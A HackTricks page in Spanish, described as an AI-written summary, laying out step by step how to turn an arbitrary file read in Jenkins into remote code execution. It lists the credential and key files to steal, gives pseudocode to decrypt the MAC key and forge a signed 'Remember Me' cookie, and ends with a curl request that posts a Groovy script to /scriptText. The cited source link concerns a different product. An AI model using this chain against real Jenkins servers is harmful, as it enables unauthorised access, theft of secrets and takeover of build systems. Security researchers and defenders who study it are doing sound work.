Jenkins Arbitrary File Read to RCE via "Remember Me"

Support HackTricks

En esta publicación del blog es posible encontrar una gran manera de transformar una vulnerabilidad de Inclusión de Archivos Locales en Jenkins en RCE: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/

Este es un resumen creado por IA de la parte de la publicación donde se abusa de la creación de una cookie arbitraria para obtener RCE abusando de una lectura de archivos locales hasta que tenga tiempo para crear un resumen por mi cuenta:

Requisitos Previos del Ataque

  • Requisito de Funcionalidad: "Recuerdame" debe estar habilitado (configuración predeterminada).

  • Niveles de Acceso: El atacante necesita permisos de Lectura/General.

  • Acceso Secreto: Capacidad para leer tanto contenido binario como textual de archivos clave.

Proceso de Explotación Detallado

Paso 1: Recolección de Datos

Recuperación de Información del Usuario

  • Acceder a la configuración del usuario y secretos desde $JENKINS_HOME/users/*.xml para cada usuario para recopilar:

  • Nombre de usuario

  • Semilla del usuario

  • Marca de tiempo

  • Hash de contraseña

Extracción de Claves Secretas

  • Extraer claves criptográficas utilizadas para firmar la cookie:

  • Clave Secreta: $JENKINS_HOME/secret.key

  • Clave Maestra: $JENKINS_HOME/secrets/master.key

  • Archivo de Clave MAC: $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

Paso 2: Falsificación de Cookies

Preparación del Token

  • Calcular Tiempo de Expiración del Token:

tokenExpiryTime = currentServerTimeInMillis() + 3600000  // Agrega una hora al tiempo actual
  • Concatenar Datos para el Token:

token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey

Desencriptación de la Clave MAC

  • Desencriptar Archivo de Clave MAC:

key = toAes128Key(masterKey)  // Convertir clave maestra a formato de clave AES128
decrypted = AES.decrypt(macFile, key)  // Desencriptar el archivo .mac
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")

Cálculo de la Firma

  • Calcular HMAC SHA256:

mac = HmacSHA256(token, macKey)  // Calcular HMAC usando el token y la clave MAC
tokenSignature = bytesToHexString(mac)  // Convertir la MAC a una cadena hexadecimal

Codificación de la Cookie

  • Generar Cookie Final:

cookie = base64.encode(username + ":" + tokenExpiryTime + ":" + tokenSignature)  // Codificar en base64 los datos de la cookie

Paso 3: Ejecución de Código

Autenticación de Sesión

  • Obtener Tokens CSRF y de Sesión:

  • Hacer una solicitud a /crumbIssuer/api/json para obtener Jenkins-Crumb.

  • Capturar JSESSIONID de la respuesta, que se utilizará junto con la cookie de "recuerdame".

Solicitud de Ejecución de Comando

  • Enviar una Solicitud POST con Script Groovy:

curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
  • El script Groovy se puede utilizar para ejecutar comandos a nivel de sistema u otras operaciones dentro del entorno de Jenkins.

El comando curl de ejemplo proporcionado demuestra cómo hacer una solicitud a Jenkins con los encabezados y cookies necesarios para ejecutar código arbitrario de manera segura.

Support HackTricks

Last updated